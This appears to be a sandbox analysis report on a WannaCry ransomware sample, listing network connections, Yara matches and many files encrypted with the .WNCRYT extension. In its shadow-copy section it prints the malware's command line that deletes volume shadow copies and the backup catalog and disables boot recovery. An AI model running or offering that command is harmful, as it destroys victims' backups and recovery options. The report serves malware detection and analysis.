Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49876 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49854 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49937 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49761 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49901
Source: unknown	Network traffic detected: HTTP traffic on port 49888 -> 443

Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.118.8.139:443 -> 192.168.2.16:49852 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.118.8.139:443 -> 192.168.2.16:49853 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.127.169.103:443 -> 192.168.2.16:49893 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.24.147:443 -> 192.168.2.16:49899 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.16:49901 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.65.120.166:443 -> 192.168.2.16:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.200:443 -> 192.168.2.16:49909 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.113.196.254:443 -> 192.168.2.16:49910 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.67.144.177:443 -> 192.168.2.16:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 217.79.252.202:443 -> 192.168.2.16:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.69.254:443 -> 192.168.2.16:49916 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.213.254:443 -> 192.168.2.16:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.237.254:443 -> 192.168.2.16:49922 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.42.254:443 -> 192.168.2.16:49925 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.64.254:443 -> 192.168.2.16:49927 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 150.171.22.254:443 -> 192.168.2.16:49929 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.18.254:443 -> 192.168.2.16:49933 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 72.21.81.200:443 -> 192.168.2.16:49935 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 152.199.24.163:443 -> 192.168.2.16:49937 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 152.199.24.163:443 -> 192.168.2.16:49938 version: TLS 1.2

Spam, unwanted Advertisements and Ransom Demands

Yara detected Wannacry ransomware

Source: Yara match	File source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED
Source: Yara match	File source: 00000011.00000003.1771065015.000000000091C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1770043806.0000000000918000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\@WanaDecryptor@.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED
Source: Yara match	File source: 00000011.00000003.1874843320.0000000000937000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000050.00000000.1876922038.000000000041F000.00000008.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000011.00000003.1875509943.0000000000938000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\@WanaDecryptor@.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED
Source: Yara match	File source: C:\@WanaDecryptor@.exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\Downloads\6ad286a1-d124-45c4-9d14-c5f21134578f.tmp, type: DROPPED

Deletes shadow drive data (may be related to ransomware)

Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe wmic shadowcopy delete
Source: C:\Users\user\Downloads\@WanaDecryptor@.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

Modifies existing user documents (likely ransomware behavior)

Source: C:\Users\user\Downloads\WannaCry (3).EXE	File moved: C:\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File deleted: C:\Users\user\Desktop\BNAGMGSPLO\BNAGMGSPLO.docx
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File moved: C:\Users\user\Desktop\PIVFAGEAAV\EEGWXUHVUG.jpg
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File deleted: C:\Users\user\Desktop\PIVFAGEAAV\EEGWXUHVUG.jpg
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File moved: C:\Users\user\Desktop\DUUDTUBZFW.png

Writes many files with high entropy

Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\User Account Pictures\user.bmp.WNCRYT entropy: 7.99965716804	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x0000000000000009.db.WNCRYT entropy: 7.99940357796	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000a.db.WNCRYT entropy: 7.99938785958	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Windows\Caches\{6AF0698E-D558-4F6E-9B3C-3716689AF493}.2.ver0x000000000000000d.db.WNCRYT entropy: 7.99936555589	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Windows\Caches\{DDF571F2-BE98-426D-8288-1A9A39C3FDA2}.2.ver0x0000000000000001.db.WNCRYT entropy: 7.99965781903	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpcache-0488A702D8A6400042FFB1D7ADF4EEF36AD772FD.bin.DB.WNCRYT entropy: 7.99989377815	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Windows Defender\Scans\mpenginedb.db.WNCRYT entropy: 7.99963986197	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Windows NT\MSFax\VirtualInbox\en-GB\WelcomeFax.tif.WNCRYT entropy: 7.99802594312	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\ConnectedDevicesPlatform\L.user\ActivitiesCache.db.WNCRYT entropy: 7.99982202828	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db.WNCRYT entropy: 7.99590662666	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db.WNCRYT entropy: 7.9931430745	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\aghbiahbpaijignceidepookljebhfak\Icons\256.png.WNCRYT entropy: 7.990581075	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Windows NT\MSScan\WelcomeScan.jpg.WNCRYT entropy: 7.99960849435	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\agimnkijcaahngcdmfeangaknmldooml\Icons\256.png.WNCRYT entropy: 7.9931594483	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\EADPData Component\4.0.2.33\data.txt.WNCRYT entropy: 7.99744742358	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\7OUVBIZR\hero-image-desktop-f6720a4145[1].jpg.WNCRYT entropy: 7.99857459422	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{0ee651c0-3e27-47d9-b558-3b2f75ff608e}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99522425031	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{40385465-94d7-4db6-a4cb-fc8229e20afa}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99476454878	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Apps_{ed9c9386-a1da-4950-91d8-1493acab8e04}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99450915474	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsconversions.txt.WNCRYT entropy: 7.99987727903	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appsglobals.txt.WNCRYT entropy: 7.99953153798	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\appssynonyms.txt.WNCRYT entropy: 7.99941041131	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsconversions.txt.WNCRYT entropy: 7.99966176542	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingsglobals.txt.WNCRYT entropy: 7.99614107454	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Input_{d06c509d-8a30-4327-922a-2afb1630c2aa}\settingssynonyms.txt.WNCRYT entropy: 7.99832812113	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{615928dd-022f-4339-b734-9a8a7fd59f58}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.9989663984	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{af177fd8-4436-44f8-b660-59b1d73126a6}\0.0.filtertrie.intermediate.txt.WNCRYT entropy: 7.99914941306	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913551623871.txt.WNCRYT entropy: 7.99846311108	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133517913644287936.txt.WNCRYT entropy: 7.99820050958	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133599153510888230.txt.WNCRYT entropy: 7.99850170198	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133599153811051390.txt.WNCRYT entropy: 7.99836814635	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt.WNCRYT entropy: 7.99972801725	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop\EdgeEDropSQLite.db.WNCRYT entropy: 7.99385877145	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db.WNCRYT entropy: 7.99026135911	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi\1.66.0_0\eventpage_bin_prod.js.WNCRYT entropy: 7.99759004962	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\auto_open_controller.js.WNCRYT entropy: 7.99981476466	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_checkout_page_validator.js.WNCRYT entropy: 7.9998149408	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_confirmation_page_validator.js.WNCRYT entropy: 7.99981815195	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_driver.js.WNCRYT entropy: 7.99989386261	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\Downloads\s.wnry entropy: 7.998263053	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\edge_tracking_page_validator.js.WNCRYT entropy: 7.99747944353	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\Downloads\t.wnry entropy: 7.99727613788	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Shopping\2.0.5975.0\product_page.js.WNCRYT entropy: 7.99982617681	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst.WNCRYT entropy: 7.99936536128	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\Documents\Outlook Files\Outlook Data File - NoEmail.pst entropy: 7.99918710354	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\operations.db.WNCRYT entropy: 7.99998436475	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\en-us.16\stream.x86.en-us.db.WNCRYT entropy: 7.99959080766	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\ClickToRun\ProductReleases\3DD78803-01DE-4232-A9F6-781F290BD1C3\x-none.16\stream.x86.x-none.db.WNCRYT entropy: 7.99988756235	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png.WNCRYT entropy: 7.99861817458	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\device.png.WNCRYT entropy: 7.99589462814	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\overlay.png.WNCRYT entropy: 7.99366886147	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\superbar.png.WNCRYT entropy: 7.99533234536	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png.WNCRYT entropy: 7.99859411811	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\watermark.png.WNCRYT entropy: 7.99439621525	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Diagnosis\EventStore.db.WNCRYT entropy: 7.9980781295	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Diagnosis\ScenariosSqlStore\EventStore.db.WNCRYT entropy: 7.99399572918	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Diagnosis\TenantStorage\P-ARIA\EventStore.db.WNCRYT entropy: 7.99336824628	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\tmp.edb.WNCRYT entropy: 7.99900401902	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\Search\Data\Applications\Windows\Windows.edb.WNCRYT entropy: 7.99998813125	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\SmsRouter\MessageStore\SmsInterceptStore.db.WNCRYT entropy: 7.99916410937	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\ProgramData\Microsoft\User Account Pictures\guest.bmp.WNCRYT entropy: 7.99974228677	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{0DD3376E-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.WNCRYT entropy: 7.99956388214	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000014.db.WNCRYT entropy: 7.99840248431	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db.WNCRYT entropy: 7.99829427142	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db.WNCRYT entropy: 7.99773900093	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_16.db.WNCRYT entropy: 7.9997866334	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_256.db.WNCRYT entropy: 7.99992849358	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_32.db.WNCRYT entropy: 7.99991725514	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_48.db.WNCRYT entropy: 7.99981092196	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_idx.db.WNCRYT entropy: 7.9971164281	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_16.db.WNCRYT entropy: 7.99982675686	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_256.db.WNCRYT entropy: 7.99983096901	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_32.db.WNCRYT entropy: 7.99982358104	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_48.db.WNCRYT entropy: 7.99983599756	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_96.db.WNCRYT entropy: 7.99996551227	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_idx.db.WNCRYT entropy: 7.99466227511	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_AI1nyU_u3YQ_at1fSBm4Uw2[1].js.WNCRYT entropy: 7.99958303056	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\33CUD2J1\ConvergedLogin_PCore_tSc0Su-bb7Jt0QVuF6v9Cg2[1].js.WNCRYT entropy: 7.99959686271	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\90SNK17T\oneDs_f2e0f4a029670f10d892[1].js.WNCRYT entropy: 7.99906200121	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_BxKM4IRLudkIao5qoVhSFA2[1].js.WNCRYT entropy: 7.99525600255	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\ConvergedLoginPaginatedStrings.en-gb_RP-iR89BipE4i7ZOqiqEgQ2[1].js.WNCRYT entropy: 7.99526250258	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Notifications\wpndatabase.db.WNCRYT entropy: 7.9998432181	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\microsoft-365-logo-01d5ecd01a[1].png.WNCRYT entropy: 7.99080993351	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-left-nav-rc.68ab311bcca4f86f9ef5.chunk.v7[1].js.WNCRYT entropy: 7.99502145943	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\0JQ5B395\pwa-vendors~left-nav-rc.b24d6b48aeb44c7b5bf6.chunk.v7[1].js.WNCRYT entropy: 7.99099258048	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-bootstrap-5e7af218e953d095fabf[1].js.WNCRYT entropy: 7.99758660272	Jump to dropped file
Source: C:\Users\user\Downloads\WannaCry (3).EXE	File created: C:\Users\user\AppData\Local\Packages\Microsoft.MicrosoftOfficeHub_8wekyb3d8bbwe\AC\INetCache\6EVGB5XB\pwa-mru.2ce72562ad7c0ae7059c.chunk.v7[1].js.WNCRYT entropy: 7.99519894916	Jump to dropped file
